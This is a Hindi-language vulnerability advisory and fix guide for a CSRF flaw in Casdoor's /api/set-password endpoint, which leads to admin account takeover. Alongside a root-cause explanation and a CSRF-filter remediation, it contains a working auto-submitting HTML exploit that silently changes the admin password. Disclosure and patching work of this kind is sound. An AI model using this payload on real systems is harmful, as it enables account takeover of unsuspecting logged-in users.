Casdoor – क्रॉस-साइट रिक्वेस्ट फ़ॉर्जरी (CSRF)

सारांश

• भेद्यता: /api/set-password में CSRF, जिससे सहमति के बिना पासवर्ड बदला जा सकता है।
• प्रभावित संस्करण: सॉफ़्टवेयर के सभी संस्करण प्रभावित हैं। वर्तमान में कोई पैच किया गया रिलीज़ उपलब्ध नहीं है।
• CVE: CVE-2023-34927 (नवीनतम अभी असाइन किया जाना बाकी है)।
• एक्सप्लॉइट लेखक: Van Lam Nguyen।
• परीक्षण किया गया: Windows

प्रभाव

• यदि कोई पीड़ित Casdoor में लॉग इन है, तो एक क्रॉस-साइट POST पीड़ित का पासवर्ड बदल सकता है (जैसे, built-in/admin), जिससे अकाउंट टेकओवर हो सकता है।

हमले की पूर्वापेक्षाएँ

• पीड़ित प्रमाणित है और उसके पास एक वैध casdoor_session_id कुकी है।
• पीड़ित एक दुर्भावनापूर्ण पृष्ठ पर जाता है जो स्वतः /api/set-password पर एक POST सबमिट करता है।

प्रूफ ऑफ कॉन्सेप्ट

<html>
<form action="http://localhost:8000/api/set-password" method="POST">
    <input name='userOwner' value='built&#45;in' type='hidden'>
    <input name='userName' value='admin' type='hidden'>
    <input name='newPassword' value='hacked' type='hidden'>
    <input type=submit>
</form>
<script>
    history.pushState('', '', '/');
    document.forms[0].submit();
</script>
</html>

मूल कारण

• /api/* के अंतर्गत स्टेट-चेंजिंग एंडपॉइंट्स कुकी-प्रमाणित अनुरोधों को स्वीकार करते हैं, बिना same-origin जाँच (Origin/Referer) या CSRF टोकन लागू किए।

फिक्स अवलोकन

• /api/* के अंतर्गत क्रॉस-साइट, कुकी-आधारित POST/PUT/DELETE/PATCH अनुरोधों को अस्वीकार करने के लिए एक सर्वर-साइड CSRF फ़िल्टर जोड़ें।
• उन अनुरोधों की अनुमति दें जो स्पष्ट गैर-कुकी प्रमाणीकरण (जैसे, Authorization, Basic auth, client credentials, या accessToken) ले जाते हैं या जिनमें ब्राउज़र सेशन कुकीज़ नहीं हैं (विशिष्ट सर्वर-टू-सर्वर कॉल)।

कार्यान्वयन

• csrf_filter.go में कार्यान्वित routers.CSRFFilter का उपयोग करें। यह फ़िल्टर:
  • गैर-स्टेट-चेंजिंग मेथड्स के लिए जल्दी रिटर्न करता है।
  • स्पष्ट गैर-कुकी प्रमाणीकरण वाले अनुरोधों की अनुमति देता है।
  • जब सेशन कुकी मौजूद हो और ओरिजिन होस्ट से मेल न खाए तो क्रॉस-साइट अनुरोधों को ब्लॉक करता है।

Casdoor में कैसे एकीकृत करें

1. csrf_filter.go को Casdoor प्रोजेक्ट के मौजूदा routers पैकेज में कॉपी करें। इस फ़ाइल में कुछ भी संशोधित या हटाएँ नहीं।
2. HTTP पाइपलाइन में फ़िल्टर को जल्दी रजिस्टर करें (main के अंदर):

   // Beego v1 style
   web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
   
   // If your project uses Beego v2 and imports as `web`:
   // web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
   

सत्यापन

• फ़िल्टर रजिस्टर करने के बाद, लॉग इन रहते हुए ऊपर दिए गए PoC को दोबारा चलाएँ। अनुरोध को Unauthorized operation के साथ अस्वीकार किया जाना चाहिए और सर्वर को CSRF check failed लॉग करना चाहिए।
• क्रॉस-ओरिजिन API कॉल जिनमें Authorization हेडर या accessToken पैरामीटर शामिल हैं, उन्हें काम करना जारी रखना चाहिए।

रिपॉज़िटरी फ़ाइलें

• csrf_filter.go: Casdoor के routers पैकेज में कॉपी करने के लिए CSRF फ़िल्टर।
• poc.html: CSRF हमले को पुन: उत्पन्न करने वाला न्यूनतम पृष्ठ।
• README.md: यह दस्तावेज़ जो भेद्यता और फिक्स चरणों का वर्णन करता है।

संदर्भ

• Casdoor: https://casdoor.org/
• Version: https://github.com/casdoor/casdoor/releases
• https://vulmon.com/vulnerabilitydetails?qid=CVE-2023-34927

वीडियो

• Youtube: https://youtu.be/N5VENgiObjY